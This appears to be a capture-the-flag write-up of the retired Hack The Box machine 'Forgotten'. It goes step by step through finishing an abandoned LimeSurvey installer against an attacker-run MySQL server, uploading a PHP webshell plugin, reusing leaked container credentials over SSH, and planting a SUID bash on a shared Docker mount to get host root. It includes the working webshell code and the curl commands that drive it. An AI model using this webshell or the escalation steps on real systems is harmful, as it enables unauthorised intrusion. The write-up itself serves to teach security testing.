root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat forgotten.md
// writeups

Forgotten

16 Sep 2025 · 14 min read
Forgotten - maquina de Hack The Box

Executive summary — Forgotten hides a LimeSurvey instance whose web installer was never completed nor locked down. By standing up an attacker-controlled MySQL reachable over the VPN, the wizard can be finished end-to-end, creating a Superadmin account of the attacker's choosing — without exploiting any authentication vulnerability. From there, LimeSurvey's Plugin Manager allows uploading a malicious ZIP that gives RCE inside a Docker container. The container's environment variables leak the service's real password, which is reusable over SSH on the host. Inside the container, that same password also unlocks sudo ALL, and a shared bind mount between host and container lets a SUID bash binary be dropped that — with no user-namespace remapping — grants root on the host directly.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.37.93

Attack map

[80] LimeSurvey — abandoned web installer, unauthenticated
   │  Wizard completed with an attacker-controlled MySQL (VPN) → attacker-created Superadmin
   ▼
[RCE]  Plugin Manager — ZIP with a PHP class + webshell
   │  container env leaks LIMESURVEY_PASS
   ▼
[SSH]  limesvc@host  (same password reused)
   │  inside the container: sudo ALL with that same password
   │  shared host↔container bind mount + SUID bash
   ▼
[ROOT]  container UID 0 = host UID 0 (no userns-remap)

1. Reconnaissance

nmap -p- --min-rate 5000 -v 10.129.37.93 -oN nmap_ports.txt
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV -v 10.129.37.93 -oN nmap_sV.txt
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The clue: nmap's Service Info header shows Host: 172.17.0.2, a default Docker range IP (172.17.0.0/16) — a sign from the very start that the HTTP service runs inside a container behind the host's proxy/Apache.

2. Web enumeration — a reachable LimeSurvey installer

The root path returns 403, but typical LimeSurvey routes respond:

curl -s -i http://10.129.37.93/
HTTP/1.1 403 Forbidden
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.37.93/survey/
302
curl -s -i http://10.129.37.93/survey/
Location: http://10.129.37.93/survey/index.php?r=installer

This confirms a LimeSurvey instance deployed at /survey/ whose web installer was never finished, leaving the setup wizard reachable with no prior authentication.

3. Foothold — finishing the installer with an attacker-controlled MySQL

LimeSurvey's installer asks for MySQL/MariaDB connection details, and the target exposes none — so a MariaDB instance was stood up on Kali itself, reachable from the HTB network over the tun0 interface:

ip a | grep -A2 tun0
inet <ATTACKER_IP>/23 ... tun0
mkdir -p ~/htb-forgotten/mysql-data
mysql_install_db --datadir=~/htb-forgotten/mysql-data \
  --auth-root-authentication-method=normal

/usr/sbin/mariadbd \
  --datadir=~/htb-forgotten/mysql-data \
  --socket=~/htb-forgotten/mysql-data/mysql.sock \
  --port=3306 --bind-address=0.0.0.0 \
  --pid-file=~/htb-forgotten/mysql-data/mysql.pid &
CREATE DATABASE limesurvey CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'limeuser'@'%' IDENTIFIED BY 'limepassword';
GRANT ALL PRIVILEGES ON limesurvey.* TO 'limeuser'@'%';
FLUSH PRIVILEGES;

No firewall rules had to be touched — port 3306 was reachable over the VPN with no extra configuration on this Kali box.

With the rogue MySQL verified, the entire web wizard was automated with a Python (requests) script, extracting the YII_CSRF_TOKEN from each response and replaying it on the next POST, keeping the same session throughout:

  • welcome → installerLang=en
  • license → accept the license
  • precheck → confirms LimeSurvey 6.3.7, PHP 8.0.30
  • database → connection to the rogue MySQL (<ATTACKER_IP>:3306, user limeuser, engine MYISAM — note the exact casing, not MyISAM)
  • populatedb → LimeSurvey creates every table on the attacker's MySQL
  • optional → Superadmin credentials chosen by the attacker themself during the installer
LimeSurvey has been installed successfully.
Superadmin: admin / P@ssw0rd123!

Why this needs no authentication vulnerability at all: the install step itself IS the vulnerability — anyone who reaches it with a reachable MySQL can create whatever admin account they want, from scratch.

4. RCE as Superadmin — malicious plugin upload

The admin login uses PATH_INFO routes (/survey/index.php/admin/...), distinct from the installer's (?r=...):

POST /survey/index.php/admin/authentication/sa/login

With user=admin, password=P@ssw0rd123! and the matching CSRF token, the response is a 302 and the Superadmin dashboard becomes reachable.

LimeSurvey lets a Superadmin install plugins by uploading a ZIP from pluginmanager?sa=upload. A minimal ZIP was built with a PHP class just complete enough to pass the plugin manager's validation, plus a webshell:

<?php
if (!class_exists('PluginBase')) { class PluginBase {} }
class shell extends PluginBase
{
    protected $storage = 'DbStorage';
    static protected $description = 'test';
    static protected $name = 'shell';
    public function init() { }
}
if (isset($_GET['cmd'])) { system($_GET['cmd']); }

After uploading it (?sa=upload) and confirming the install (?sa=installUploadedPlugin), LimeSurvey extracts the files to a web-reachable folder with no need to activate the plugin:

curl -s "http://10.129.37.93/survey/upload/plugins/shell/shell.php?cmd=id"
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)

5. Confirming a containerized environment

curl -s --data-urlencode 'cmd=hostname; cat /proc/1/cgroup; ls -la /.dockerenv; uname -a' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
efaa6f5097ed
0::/
-rwxr-xr-x 1 root root 0 Dec  2  2023 /.dockerenv
Linux efaa6f5097ed 6.8.0-1033-aws ... x86_64 GNU/Linux

A short hash-style hostname and a present /.dockerenv confirm execution inside a Docker container.

6. Credential reuse via environment variables → SSH (user.txt)

curl -s --data-urlencode 'cmd=env' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E

Why this matters: the name limesvc matches a real system user on the host — a very common pattern on «Docker + web app» boxes: the password used to configure the service inside the container is almost always reused for the host user of the same name.

ssh limesvc@10.129.37.93
# password: 5W5HN4K4GCXf9E
$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
$ hostname
forgotten

The real hostname (forgotten, not the container's hash) confirms we're now on the HOST.

$ cat /home/limesvc/user.txt
ce537d9432a79e5ef2b0a7841d1efd08

7. Privilege escalation — password-reuse sudo inside the container

On the host, limesvc has no sudo and isn't in the docker group — that path is ruled out quickly:

$ sudo -l
Sorry, user limesvc may not run sudo on localhost.

$ docker ps
permission denied while trying to connect to the Docker daemon socket ...

The shared bind mount shows up under /opt: the exact same LimeSurvey tree seen from the webshell (including the uploaded plugin's shell/ folder), confirming /opt/limesurvey on the host is the same volume as /var/www/html/survey in the container.

Back in the webshell (inside the container), the same LIMESURVEY_PASS is reused with sudo:

curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S -l 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
User limesvc may run the following commands on efaa6f5097ed:
    (ALL : ALL) ALL

Unlike the host, inside the container limesvc really is in the sudo group, and the reused password grants full root inside the container.

8. Root on the host — SUID bash on the shared volume

As root inside the container, /bin/bash is copied to the shared folder and given the SUID bit:

curl -s --data-urlencode 'cmd=echo "5W5HN4K4GCXf9E" | sudo -S cp /bin/bash /var/www/html/survey/upload/rootbash 2>&1; echo "5W5HN4K4GCXf9E" | sudo -S chmod 6777 /var/www/html/survey/upload/rootbash 2>&1' -G "http://10.129.37.93/survey/upload/plugins/shell/shell.php"
-rwsrwsrwx 1 root root 1234376 Jul 29 20:33 /var/www/html/survey/upload/rootbash

From the HOST, that same binary shows up at /opt/limesurvey/upload/rootbash (same inode, different mount point) owned by root:root with the SUID bit set. With no user-namespace remapping (userns-remap), a container's UID 0 is literally the host's UID 0 — which turns any container-writable bind mount into a trivial path to root on the host.

$ /opt/limesurvey/upload/rootbash -p
rootbash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
rootbash-5.1# cat /root/root.txt
824cd3a96126571877f59836c2dc7944

Full system compromise. Post-exploitation cleanup: the rootbash binary and the shell/ plugin folder are removed from both the host and the container. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdLimeSurvey web installerUnauthenticated setup wizard, completable with an attacker-controlled MySQL over VPNAttacker-chosen Superadmin account created
RCELimeSurvey Plugin ManagerZIP plugin upload with no restriction on executable contentRCE as limesvc inside the container
Lateral movementDocker container environment variablesReal credentials leaked via env, reused over SSHlimesvc access on the host (user.txt)
PrivEscShared host↔container bind mount + password-reuse sudosudo ALL inside the container + a SUID binary dropped on the shared volume, no userns-remapRoot on the host (root.txt)

Lessons learned

  • Abandoned web installers are RCE-as-a-service: if an app's setup wizard isn't locked down after first use, an attacker with a reachable MySQL (their own, over VPN/tunnel) can complete it and get admin credentials from scratch, with no authentication vulnerability at all.
  • Automating multi-step wizards with requests + CSRF regex is fast and repeatable: pull the token from each response and replay it on the next POST, keeping the same session for cookies.
  • A plugin upload with no validation of executable content is direct RCE: a ZIP with a minimal valid PHP class is enough for the manager to accept and extract it to a web-reachable path, no activation required.
  • A container's environment variables leak real deployment credentials: the password used to configure the service inside the container is almost always reused for the host system user of the same name.
  • Check sudoers on both sides of a container boundary: the same user (same name, same password) can hold sudo inside the container but not on the host, precisely so the shared bind mount becomes the intended escalation path.
  • With no userns-remap, a container's UID 0 is the host's real UID 0: this turns any container-writable shared volume into a trivial root escalation path, just by dropping a SUID binary.